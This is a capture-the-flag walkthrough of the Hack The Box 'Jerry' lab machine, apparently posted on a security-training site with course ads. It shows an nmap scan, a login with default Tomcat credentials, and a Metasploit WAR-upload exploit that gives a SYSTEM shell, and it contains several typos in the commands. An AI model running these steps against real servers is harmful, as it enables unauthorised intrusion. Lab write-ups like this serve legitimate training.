fbpx

HackTheBox – Walkthrough of JERRY BOX

A VPN is an essential component of IT security, whether you’re just starting a business or are already up and running. Most business interactions and transactions happen online and VPN

Hack The Box (HTB) is an online platform allowing you to test your penetration testing skills. JERRY box is an easy box, yet quite a few approaches and nudges are needed for the beginner to start their way in the HTB. We will use the following tools to pawn the box on a Kali Linux box.

Step 1 – Scanning the network

As an initial step, before the machine is exploited, it needs to be scanned and investigated.

This is important to determine what can be exploited afterwards. It is always better to spend time on this phase to extract maximum information.

Nmap (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing. Raw IP packets are used to determine hosts available on the network, services offered by those hosts, operating systems running, packet filters, firewalls in use, and many other characteristics.

Use the following command to get a basic idea of what we are scanning

nmap -sV -sC -A 10.10.10.95

-sV: Probe open ports to determine service/version info

-sC: Default script sets

-A: Aggressive scan. Enable OS detection, version detection, script scanning, and traceroute

10.10.10.95: IP address of the Jerry box

We can see that there is only 1 open ports:

Port 8080. Apache Tomcat

Step 2 – The Apache Tomcat

We move towards port 8080 on 10.10.10.95 and find Apache is running. We move to the Manager app button and get a prompt to authenticate the user.

I try to enter using “admin” as username and password both. Although these aren’t the correct credentials, we are suggested “tomcat:s3cret”.

Using these suggested credentials, we dropped into the admin panel. 😀

Its found that we can upload WAR files to the server. By a quick google search you can find a tutorial for creating a war file reverse shells in metasploit.

In the msfconsole, we look for the vulnerabilities.

search apache

Step 2 – Uploading the file for exploit

Following command is used for the exploit

use exploit/multi/htto/tomcat_mgr_upload

This will launch the exploit. This command displays the available options.

show options

You can see that the remote host (RHOSTS) is not yet set. RHOSTS will be the victim.

Following command sets the remote host using the IP address of HTB Jerry box

set RHOSTS 10.10.10.95
set RPORT 8080
set HttpPassowrd s3cret
set HttpUsername tomcat

The exploit can be run now.

Bingo! A metapreter session is available. Let’s see what can be found 🙂

Step 4 – Looking for the root.txt and user.txt flags

To open an interactive python shell the following command is used

shell

Following command is used to know the access on the machine:

whoami

It is found that we are already have the system access.

Following command is used to list all the files/folders:

dir

Let’s move to the users folder and see what can be found

cd users

We go to Users>Administrators>Desktop>flags directory.

To read the content of the file the following command is used.

type *2 for the price of 1.txt*

Congrats! You found both flags!

About Cybervie

Cybervie provides best cyber security training program in hyderabad, India.This cyber security course enables you to detect vulnerablities of a system, wardoff attacks and manage emergency situations. Taking a proactive approach to security that can help organisations to protect their data, Cybervie has designed its training module based on the cyber security industry requirements with three levels of training in both offensive and defensive manner, and use real time scenarios which can help our students to understand the market up-to its standard certification which is an add on advantage for our students to stand out of competition in an cyber security interview.

More Info – Click Here

Share on facebook
Share on twitter
Share on linkedin
Share on whatsapp

Recent Posts

Follow Us on Youtube

Cyber Security Training Program 2020

Cyber security Course offered by Cybervie prepares students for a path of success in a highly demanding and rapidly growing field of cyber security. The course is completely designed with an adaptable mindset, where the program allows the student to complete the course work at their own pace while being able to complete weekly assignments. Hence, also making it convenient for busy working professionals to pursue the training to help them advance their career in cyber security.

Cybervie has designed the training module based on the cyber security industry requirements in both offensive and defensive manner, using real time scenarios which help our students to understand the market standards.

Sign up for our Newsletter

Interested in Cyber Security Training Program 2020 – Click Here

Short Logo

Thank You!

We will Schedule a Program Demo & Invite to Given Mail Id in 24 Hours.

Meanwhile you can Download Brochure to Know More about the Program.

Short Logo

We’re here to help.

2020 Cyber Security Training Program.

Short Logo

Hurry You Won!

You are Eligible for the Scholarship on 2020 Cyber Security Training Program.

We will Schedule a Program Demo & Invite you to the Given Mail Id in 24 Hours.

Short Logo

We’re here to help.

Avail Scholarship
On 2020 Cyber Security Training Program.